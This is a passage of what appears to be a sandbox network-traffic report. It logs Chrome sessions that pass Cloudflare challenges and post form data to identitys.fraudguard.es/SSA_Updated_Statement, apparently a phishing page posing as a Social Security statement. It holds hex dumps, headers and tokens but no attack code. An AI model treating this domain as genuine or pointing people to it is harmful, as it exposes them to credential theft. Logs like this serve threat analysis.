eHNdwrBym46/nuZJxZh022X5O0DZJJ0icOjpkYP8sowJFjzR9G6TyrLofvnnR5hONJ8kfjZFG7neTrJqfALOGRyDVHYWFrQPhm2u+cyar8BcCIJ5cYO6yKF9$3YLs4mpOid/raMzH Server: cloudflare
2024-11-22 21:59:57 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 65 36 63 33 30 38 35 66 38 62 37 33 32 64 33 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 8e6c3085f8b732d3-EWRalt-svc: h3=":443"; ma=86400
2024-11-22 21:59:57 UTC	1333	IN	Data Raw: 78 62 69 2b 74 63 48 4b 67 72 53 54 76 63 33 48 76 63 2f 46 7a 4d 79 48 69 64 7a 66 6e 6f 54 63 7a 39 58 4d 32 4f 47 5a 79 38 69 65 7a 4b 32 59 30 35 71 76 6c 65 33 67 35 74 33 70 38 71 72 63 32 62 44 64 76 71 6e 6c 71 38 44 39 38 50 62 74 2b 51 4f 36 42 41 62 39 32 2f 66 43 73 39 47 31 2f 41 30 48 2f 41 38 46 44 41 7a 47 79 4d 41 64 72 4d 50 45 78 63 59 66 45 68 67 50 47 79 54 62 43 52 2f 78 43 77 48 6f 31 50 4c 57 4c 43 73 76 49 50 62 47 33 64 37 66 34 44 6b 73 4d 69 6b 31 50 76 55 66 47 78 38 59 51 67 44 75 44 66 42 47 52 55 6b 36 45 65 44 33 2b 50 6e 36 55 30 5a 4d 51 30 39 59 45 46 78 49 50 46 6b 64 46 6a 41 2b 4f 47 4d 30 4a 68 63 5a 4c 50 73 54 46 42 55 57 62 6d 46 6e 58 6d 70 7a 4b 33 64 6a 56 33 51 34 4d 56 56 56 57 48 4e 4f 51 54 49 30 52 78 63 Data Ascii: xbi+tcHKgrSTvc3Hvc/FzMyHidzfnoTcz9XM2OGZy8iezK2Y05qvle3g5t3p8qrc2bDdvqnlq8D98Pbt+QO6BAb92/fCs9G1/A0H/A8FDAzGyMAdrMPExcYfEhgPGyTbCR/xCwHo1PLWLCsvIPbG3d7f4DksMik1PvUfGx8YQgDuDfBGRUk6EeD3+Pn6U0ZMQ09YEFxIPFkdFjA+OGM0JhcZLPsTFBUWbmFnXmpzK3djV3Q4MVVVWHNOQTI0Rxc
2024-11-22 21:59:57 UTC	1369	IN	Data Raw: 6e 75 6c 6f 6f 57 50 64 72 6d 49 74 6e 79 34 6d 6e 39 38 65 49 32 73 67 70 6d 38 70 72 79 32 74 34 53 79 6c 62 79 61 69 34 75 51 77 70 44 43 73 74 47 6d 79 63 75 61 76 4a 76 51 79 39 7a 68 6e 38 48 61 74 5a 33 6a 34 4f 50 6a 6f 39 66 56 71 73 4c 73 77 50 44 48 79 37 2f 53 34 37 4c 53 7a 63 50 39 78 72 4c 57 33 76 72 36 34 51 59 42 77 75 4c 30 36 75 6f 4a 78 77 6e 70 39 2b 4d 53 42 50 30 4d 34 39 49 43 36 64 54 55 44 42 73 54 38 78 77 50 34 50 50 6a 39 79 45 6d 4a 68 73 5a 41 68 6b 44 39 78 67 51 45 41 49 49 37 53 34 43 38 79 67 46 4d 78 77 55 45 44 51 38 44 7a 45 61 48 42 30 68 49 76 30 32 43 54 6f 32 4b 69 73 6e 4e 55 78 46 51 69 45 6e 4c 6a 4a 4a 56 54 64 4d 52 6a 55 39 4b 6a 68 4f 4d 31 45 64 54 32 41 36 51 45 49 36 56 79 6c 4b 52 45 67 6f 58 57 77 74 Data Ascii: nulooWPdrmItny4mn98eI2sgpm8pry2t4Sylbyai4uQwpDCstGmycuavJvQy9zhn8HatZ3j4OPjo9fVqsLswPDHy7/S47LSzcP9xrLW3vr64QYBwuL06uoJxwnp9+MSBP0M49IC6dTUDBsT8xwP4PPj9yEmJhsZAhkD9xgQEAII7S4C8ygFMxwUEDQ8DzEaHB0hIv02CTo2KisnNUxFQiEnLjJJVTdMRjU9KjhOM1EdT2A6QEI6VylKREgoXWwt
2024-11-22 21:59:57 UTC	1369	IN	Data Raw: 61 54 65 5a 32 33 73 59 79 34 67 61 47 67 6e 49 52 2b 72 35 66 43 77 38 4b 4d 68 4d 71 6b 70 62 47 6c 6f 73 32 4d 30 36 2b 32 70 5a 53 77 70 64 57 6f 79 62 36 7a 34 72 43 78 75 70 33 66 74 74 4c 54 31 64 7a 4c 37 2b 50 64 36 38 76 50 33 65 76 65 78 76 54 6f 36 2b 6e 47 32 66 58 66 33 39 47 2f 31 65 54 78 31 4e 54 51 38 76 62 47 35 75 48 5a 36 39 73 53 32 77 44 36 30 78 45 4c 34 65 38 5a 37 76 45 4d 39 41 76 36 45 41 34 62 45 52 77 45 37 79 50 6c 4c 4f 6a 31 44 77 77 50 42 52 73 41 48 4f 38 6c 4d 66 63 78 46 69 34 77 39 69 54 35 4c 2f 51 73 51 68 73 6c 45 41 38 42 4a 54 4d 6a 50 54 63 65 48 55 6f 67 4a 53 38 67 4f 7a 5a 53 4c 6b 34 77 56 6c 6f 74 4a 6c 59 78 47 56 78 54 4d 44 49 35 54 54 31 49 4a 53 74 6b 52 31 52 43 4c 32 78 4f 5a 57 39 49 62 32 5a 4d 4e Data Ascii: aTeZ23sYy4gaGgnIR+r5fCw8KMhMqkpbGlos2M06+2pZSwpdWoyb6z4rCxup3fttLT1dzL7+Pd68vP3evexvTo6+nG2fXf39G/1eTx1NTQ8vbG5uHZ69sS2wD60xEL4e8Z7vEM9Av6EA4bERwE7yPlLOj1DwwPBRsAHO8lMfcxFi4w9iT5L/QsQhslEA8BJTMjPTceHUogJS8gOzZSLk4wVlotJlYxGVxTMDI5TT1IJStkR1RCL2xOZW9Ib2ZMN
2024-11-22 21:59:57 UTC	73	IN	Data Raw: 73 75 72 2b 72 74 33 57 49 57 4d 79 4c 57 31 79 38 75 6e 56 2b 7a 73 48 48 76 73 72 54 69 37 6a 4f 6f 62 71 77 6d 49 32 46 34 58 47 49 69 59 71 4c 34 39 62 63 30 39 2f 6f 6f 4f 6e 72 34 38 48 64 71 4b 47 6a 74 6f 62 36 Data Ascii: sur+rt3WIWMyLW1y8unV+zsHHvsrTi7jOobqwmI2F4XGIiYqL49bc09/ooOnr48HdqKGjtob6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49742	104.18.94.41	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:58 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1273262173:1732310859:Nkfrpjf3B7Qam5FcOxwkEqtk2tn0lLKPVBY9riekCYU/8e6c301cb8601885/3ra4F8H660SaFV65BYrAVfweCTocJBBZ9deH6oRnN3o-1732312780-1.1.1.1-frn48HaLMsj9FtyYIdEPJ7oZzxye6DHI4z1VlNHFZEJKJOvUkdlyiEoiygAsC4OI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:59 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 22 Nov 2024 21:59:59 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: KD+/Q5jXU6RmJOvi7JzL1ieq/sZ3Mq12g1A=$L9Miq+ypgrAONmKr Server: cloudflare CF-RAY: 8e6c3092ef354269-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 21:59:59 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49744	172.67.218.103	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:00 UTC	1350	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1250272685:1732310934:lMv4vQNu6SJi5YfzNbAzvoSVeZ0M-LX4x3rf3884x4k/8e6c2fe6acef7ce4/gPy0_aK5Sv4i6hgmZQZgFYktFxMyTYImmaHalcO4lJ0-1732312771-1.2.1.1-tyRTOwQgzteSJ.CJKHu15fEU8XFEd7VK5zZxFl5pi5mwSFejQbpUFM2v6EAb6LAs HTTP/1.1 Host: identitys.fraudguard.es Connection: keep-alive Content-Length: 6536 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-type: application/x-www-form-urlencoded sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" CF-Chl-RetryAttempt: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" CF-Challenge: gPy0_aK5Sv4i6hgmZQZgFYktFxMyTYImmaHalcO4lJ0-1732312771-1.2.1.1-tyRTOwQgzteSJ.CJKHu15fEU8XFEd7VK5zZxFl5pi5mwSFejQbpUFM2v6EAb6LAs sec-ch-ua-platform: "Windows" Accept: / Origin: https://identitys.fraudguard.es Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://identitys.fraudguard.es/SSA_Updated_Statement Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:00 UTC	6536	OUT	Data Raw: 76 5f 38 65 36 63 32 66 65 36 61 63 65 66 37 63 65 34 3d 61 74 76 75 33 62 37 4f 65 37 76 62 74 50 34 57 58 57 4a 57 49 7a 6b 37 51 57 71 75 5a 45 57 4f 37 78 39 57 76 51 45 62 25 32 62 57 6d 57 35 69 24 6b 72 37 5a 69 70 57 50 4a 57 49 4f 54 57 69 57 34 45 2d 75 75 57 43 75 7a 34 57 68 56 51 37 77 57 4b 77 45 49 62 57 79 70 24 37 69 4d 45 37 54 57 66 75 4e 4f 57 35 46 4c 70 37 6d 5a 75 37 6f 53 77 57 61 79 75 4f 57 49 70 46 66 57 41 57 4e 65 30 57 69 24 35 56 57 72 55 65 49 56 7a 4d 45 57 71 2d 62 43 61 6a 67 75 57 39 4c 57 2b 66 57 37 34 57 37 6e 61 54 71 6e 65 57 66 47 64 57 64 35 6b 57 67 38 79 79 57 44 2b 58 57 62 2d 57 45 31 71 65 34 57 37 4d 61 57 37 56 42 6a 54 2b 57 49 61 64 57 4e 71 56 75 7a 54 65 31 48 57 2d 56 37 6b 56 52 6e 46 34 61 57 57 52 Data Ascii: v_8e6c2fe6acef7ce4=atvu3b7Oe7vbtP4WXWJWIzk7QWquZEWO7x9WvQEb%2bWmW5i$kr7ZipWPJWIOTWiW4E-uuWCuz4WhVQ7wWKwEIbWyp$7iME7TWfuNOW5FLp7mZu7oSwWayuOWIpFfWAWNe0Wi$5VWrUeIVzMEWq-bCajguW9LW+fW74W7naTqneWfGdWd5kWg8yyWD+XWb-WE1qe4W7MaW7VBjT+WIadWNqVuzTe1HW-V7kVRnF4aWWR
2024-11-22 22:00:00 UTC	1352	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:00:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4020 Connection: close cf-chl-out-s: 8qGXMs84jqwbGSFmelXEhDUz/cKWUkqxNpHVT1X9UXZ4m5M6VL583Z/V0sO/T4iSKWYNFrmY6l/OiaCcBgzxufKRRSvxlLpS4cSInLgwPdGkLSvqX2Hsty6C2jv54Vc2VO+/iUaSqELLD4EdzGSuLO8GZ9pNhvAqos2PQ8SAiLJ5XVkD3AVhE5xLM3Ggde2EzDXk6QockTiM1Xnxv3TEyuZQszNl4uxihH4KpyjMEQo8ePRyGA6ahJ06qTXLD+5SXPawiXNJmjTqA6CJra1+h9+ZRHxHNg9CahpULunlwCEU8WmFPXirBi1dGytS9e91PMbKG9JVI5joo9vq7IkB8mlKersdLwb3dLa3semW7SNnZq9O5n+bc0PfXG3qIdTTJB6FL0fCddgMJSvIXMnLFMN7a70yW8rjL5tqGxjJzJg4Rjhrpt0vnC5OtCozL5cJf8PNYUlUNvNqWVwY0Y4ZSEZZoairbKVjmVK+rBrt19BK/DeewTi6H1cfn2FVfGGMdfDSCpLNNPAIfTGtr4yDDFF08QMLNwECAKJrfa1geg==$ANZMWYnHGQMNNzmZ cf-chl-out: k5k3Xon/i6lFWYmeYWe9I30xjKhr6UxStBjVvs1gNA5SFyFB8hNI21WXOm6vFTIa9sMhCMrG9JgCmW0d9F+VJvS2UqJa$MuoMo3jbUfOw645S set-cookie: cf_chl_rc_m=;Expires=Thu, 21 Nov 2024 22:00:00 GMT;SameSite=Strict Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sl9jQl94xN65quiqSjvytxoaod1ISp70Q5Ya%2Bz1ZfOhfPKrJoN%2F%2FJ%2BHP53fqUAt0xaKmhuv8M8XUqn0rpRdDoRfiS9kKlPuzpGtNYO0wTmolPba%2FlNpo7gdwm41IMiwCHTtrBnyh%2FQhGRA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6c3099eda9de98-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 22:00:00 UTC	192	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 35 33 33 26 73 65 6e 74 3d 37 26 72 65 63 76 3d 31 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 30 26 72 65 63 76 5f 62 79 74 65 73 3d 38 35 30 38 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 36 35 35 33 32 38 26 63 77 6e 64 3d 32 30 30 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 33 33 32 63 30 32 65 35 64 39 34 65 66 35 34 26 74 73 3d 34 39 35 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1533&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2830&recv_bytes=8508&delivery_rate=1655328&cwnd=200&unsent_bytes=0&cid=0332c02e5d94ef54&ts=495&x=0"
2024-11-22 22:00:00 UTC	1194	IN	Data Raw: 75 36 36 30 71 37 66 41 65 4b 71 4a 73 38 4f 39 73 38 57 37 77 73 4a 39 66 39 4c 56 6c 48 72 53 78 63 76 43 7a 74 65 50 77 62 36 55 77 71 4f 4f 79 5a 43 6c 69 2b 50 57 33 4e 50 66 36 4b 44 53 7a 36 62 54 74 4a 2f 62 6f 62 62 69 38 75 7a 69 39 4f 72 78 38 61 54 73 36 2f 76 61 37 76 37 39 42 74 44 39 2f 76 76 36 39 2b 48 31 41 2f 75 2f 77 62 6b 57 70 62 79 39 76 72 38 55 47 51 77 59 43 41 37 47 7a 79 41 54 47 52 41 63 4a 51 72 57 45 42 55 5a 45 78 67 65 49 78 63 6f 4b 69 2f 69 47 68 6e 6c 49 78 55 37 4d 79 6e 72 49 2b 2f 6e 52 4e 50 71 36 2b 7a 74 37 75 2f 77 38 54 59 31 53 44 76 32 2f 6b 4a 49 54 30 46 50 50 30 4a 55 53 6c 68 49 43 78 2f 76 42 77 67 4a 43 67 73 4d 44 51 34 50 45 42 45 53 5a 56 6c 70 61 32 6c 6d 47 53 46 65 59 6c 78 68 5a 32 78 67 64 47 5a Data Ascii: u660q7fAeKqJs8O9s8W7wsJ9f9LVlHrSxcvCztePwb6UwqOOyZCli+PW3NPf6KDSz6bTtJ/bobbi8uzi9Orx8aTs6/va7v79BtD9/vv69+H1A/u/wbkWpby9vr8UGQwYCA7GzyATGRAcJQrWEBUZExgeIxcoKi/iGhnlIxU7MynrI+/nRNPq6+zt7u/w8TY1SDv2/kJIT0FPP0JUSlhICx/vBwgJCgsMDQ4PEBESZVlpa2lmGSFeYlxhZ2xgdGZ
2024-11-22 22:00:00 UTC	1369	IN	Data Raw: 62 6e 36 4f 6b 78 4f 7a 38 37 46 44 7a 2b 52 54 68 49 46 6b 70 4c 53 6b 49 38 55 46 42 43 42 67 5a 42 52 46 5a 4d 55 31 4d 4e 45 77 68 67 55 31 6c 51 58 47 55 64 54 31 52 59 55 6c 64 64 59 6c 5a 6e 61 57 34 70 59 6c 34 6e 4f 67 6f 68 49 69 4d 6b 61 33 56 35 64 55 35 32 4f 58 39 79 67 6c 43 45 68 59 52 38 64 6f 71 4b 66 45 42 41 68 34 43 51 68 59 32 44 52 30 31 43 53 6e 52 30 65 58 74 50 55 6d 55 31 54 45 31 4f 54 35 61 67 70 4b 42 35 6f 57 53 71 6e 61 31 37 72 37 43 76 70 36 47 31 74 61 64 72 61 36 71 30 71 72 7a 43 75 72 42 7a 65 57 35 32 73 63 48 43 76 37 32 34 74 38 76 42 79 4d 69 4b 31 49 72 56 31 74 65 4f 79 4e 4c 57 30 70 50 63 32 74 58 50 32 63 2f 63 30 74 54 55 6d 4a 75 75 66 6e 2b 57 6c 35 69 5a 38 4e 7a 75 6e 65 76 6b 39 4f 4c 6d 35 50 6a 6d 79 Data Ascii: bn6OkxOz87FDz+RThIFkpLSkI8UFBCBgZBRFZMU1MNEwhgU1lQXGUdT1RYUlddYlZnaW4pYl4nOgohIiMka3V5dU52OX9yglCEhYR8doqKfEBAh4CQhY2DR01CSnR0eXtPUmU1TE1OT5agpKB5oWSqna17r7Cvp6G1tadra6q0qrzCurBzeW52scHCv724t8vByMiK1IrV1teOyNLW0pPc2tXP2c/c0tTUmJuufn+Wl5iZ8Nzunevk9OLm5Pjmy
2024-11-22 22:00:00 UTC	1369	IN	Data Raw: 54 4f 2f 31 45 4e 30 63 56 53 55 70 4a 51 54 74 50 54 30 45 46 42 55 31 42 54 6b 63 4b 45 41 55 4e 48 6b 6b 64 55 43 42 51 54 79 59 6f 56 43 63 6c 56 69 68 62 4a 6c 30 78 58 79 70 67 58 57 41 7a 4e 6a 59 78 4f 7a 68 71 4f 44 6b 2f 61 30 49 2b 63 54 35 47 51 54 39 78 63 6b 56 44 53 58 5a 36 65 6e 35 4e 67 45 39 51 55 6c 56 53 67 34 4e 61 56 49 6c 56 57 30 35 52 5a 44 52 4c 54 45 31 4f 6f 70 2b 64 71 4a 68 34 6c 71 71 59 6a 4b 69 6c 6f 4b 71 43 71 6d 32 7a 70 72 61 45 75 4c 6d 34 73 4b 71 2b 76 72 42 30 64 4d 53 77 76 4d 61 33 65 6f 42 31 66 63 72 4c 30 36 47 2f 6a 71 69 6d 74 71 48 4e 30 4b 6a 58 71 74 79 5a 6e 37 57 78 72 73 4f 36 7a 62 57 6f 34 4e 2f 62 33 61 32 2f 34 63 4c 69 72 65 48 54 39 66 4c 74 34 39 61 76 74 4c 75 34 75 4c 71 35 75 38 4b 37 76 4c Data Ascii: TO/1EN0cVSUpJQTtPT0EFBU1BTkcKEAUNHkkdUCBQTyYoVCclVihbJl0xXypgXWAzNjYxOzhqODk/a0I+cT5GQT9xckVDSXZ6en5NgE9QUlVSg4NaVIlVW05RZDRLTE1Oop+dqJh4lqqYjKiloKqCqm2zpraEuLm4sKq+vrB0dMSwvMa3eoB1fcrL06G/jqimtqHN0KjXqtyZn7WxrsO6zbWo4N/b3a2/4cLireHT9fLt49avtLu4uLq5u8K7vL
2024-11-22 22:00:00 UTC	88	IN	Data Raw: 52 45 30 46 4d 6b 67 62 4e 43 6f 53 2f 52 77 41 56 56 52 59 53 53 44 76 5a 43 50 79 38 31 52 53 44 52 5a 6d 57 56 39 57 59 6d 73 6a 55 47 59 35 55 6b 67 77 4a 52 31 35 43 53 41 68 49 69 4e 37 62 6e 52 72 64 34 41 34 67 59 4e 37 57 58 56 41 4f 54 74 4f 48 70 49 67 Data Ascii: RE0FMkgbNCoS/RwAVVRYSSDvZCPy81RSDRZmWV9WYmsjUGY5UkgwJR15CSAhIiN7bnRrd4A4gYN7WXVAOTtOHpIg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49748	172.67.218.103	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:03 UTC	1268	OUT	POST /SSA_Updated_Statement HTTP/1.1 Host: identitys.fraudguard.es Connection: keep-alive Content-Length: 6296 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Upgrade-Insecure-Requests: 1 Origin: https://identitys.fraudguard.es Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://identitys.fraudguard.es/SSA_Updated_Statement?__cf_chl_tk=MHTmGQmFqx8nb5tLmda9hZ5tiDxHXBAXL96ckRrQOFg-1732312771-1.0.1.1-8yXVDlDNs3L3PRf75lCRfQlQKPcTKx23r791b.sC0uo Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:03 UTC	6296	OUT	Data Raw: 34 30 64 35 61 63 31 66 36 36 34 65 63 61 64 61 36 62 34 37 62 66 63 66 33 33 38 30 64 34 34 36 61 63 64 64 64 31 66 35 63 32 62 30 33 38 32 39 66 61 35 62 64 63 38 39 63 61 38 65 30 33 30 34 3d 67 6b 66 30 50 6d 79 70 43 6a 70 2e 77 72 71 5f 34 45 68 6a 65 7a 53 41 6f 73 62 6b 77 72 74 76 59 58 66 52 4c 6e 72 35 65 43 73 2d 31 37 33 32 33 31 32 37 37 31 2d 31 2e 32 2e 31 2e 31 2d 4f 62 65 74 47 65 78 6d 4d 79 4f 56 72 30 32 36 62 64 4a 66 51 78 42 6f 72 42 6a 6a 76 61 58 63 68 50 67 47 48 46 66 68 63 65 32 57 77 6b 50 62 38 45 41 66 36 47 76 6c 5f 53 30 4d 61 31 76 64 58 32 54 48 37 68 55 75 35 55 5f 49 76 75 69 4c 66 66 56 4e 5f 57 55 61 78 50 35 4b 64 55 76 45 6f 61 34 54 65 6e 43 66 4a 62 56 55 66 56 36 46 74 4c 75 53 73 77 65 31 45 48 7a 30 32 67 67 Data Ascii: 40d5ac1f664ecada6b47bfcf3380d446acddd1f5c2b03829fa5bdc89ca8e0304=gkf0PmypCjp.wrq_4EhjezSAosbkwrtvYXfRLnr5eCs-1732312771-1.2.1.1-ObetGexmMyOVr026bdJfQxBorBjjvaXchPgGHFfhce2WwkPb8EAf6Gvl_S0Ma1vdX2TH7hUu5U_IvuiLffVN_WUaxP5KdUvEoa4TenCfJbVUfV6FtLuSswe1EHz02gg
2024-11-22 22:00:03 UTC	1339	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 22 Nov 2024 22:00:03 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Set-Cookie: cf_clearance=; Path=/; Expires=Thu, 01-Jan-70 00:00:00 GMT; Domain=.fraudguard.es; Priority=High; HttpOnly; Secure; SameSite=None Set-Cookie: cf_clearance=vaH0AjYY24C_YbWAU2H696i49KpvtfYtW.WH0aNbYIM-1732312771-1.2.1.1-PYxquHvmowOgTLwsFdiVvnfGjc9XQZV3_lVDGMzReGQzPt2iYB9QJ7y6PW9T6R3Mo5kJ2NZIgxpPj6ycbT9A6Gshx3n3fbO2.hqnzlfXM9Bld3rI6QbtTD085QGVnqfaBFWWCcqY.txgIpO.ngARw9Plr7kR9jN9QrgDlMcn8RvDJx8pG1Prk9GzaZaL9p0ZbYZW3rfqsGbjLtb3frTop7LvI_r6HemgJe6PcDILCtWlLFlK7CdOcrBg4pqb63IXm.RHjZrcN3YwAJQSsO6BQ_ZKFCyCZwhmtKesWVt6dIRIXKiConbuO7PmIflD3c3Qy2ulbW7h2UYCtmBXEIJruTf.OGdCTmgvvjyjT.xm6kWpbgJOIQA2XkjO8Xf55sBdM6W.3mmUk5KCQ3Ahrd0x6TErh3Y2XDqS3JLmmNxyNIOeNBRcKQN9oisNDuKyiavg; Path=/; Expires=Sat, 22-Nov-25 22:00:03 GMT; Domain=.fraudguard.es; Priority=High; HttpOnly; Secure; SameSite=None; Partitioned Location: https://identitys.fraudguard.es/SSA_Updated_Statement/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZW%2ByNeKKH0a9vDe74rxq%2BTxdGNrM1WOxQihmfH2fPv5apySlqDw8qzyX%2BKBTua7AfoUZ0qdGJldM4%2BhA13C26K41ihXj%2Fdh5VLr6IfGD9P5NlMCWNgdCRqp5JzSw4vWj1fxMSE56SiHEbw%3D%3D"}],"group":"cf-nel","max_age":604800}
2024-11-22 22:00:03 UTC	339	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 65 36 63 33 30 61 63 35 64 35 34 34 33 31 63 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 32 30 37 34 26 73 65 6e 74 3d 37 26 72 65 63 76 3d 31 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 32 39 26 72 65 63 76 5f 62 79 74 65 73 3d 38 31 38 Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e6c30ac5d54431c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2074&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2829&recv_bytes=818
2024-11-22 22:00:03 UTC	383	IN	Data Raw: 31 37 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 73 2e 66 72 61 75 64 67 75 61 72 64 2e 65 73 2f 53 53 41 5f 55 70 64 61 74 65 64 5f 53 74 61 74 65 6d 65 6e 74 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 Data Ascii: 178<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://identitys.fraudguard.es/SSA_Updated_Statement/">here</a>.</p><hr
2024-11-22 22:00:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49749	172.67.218.103	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
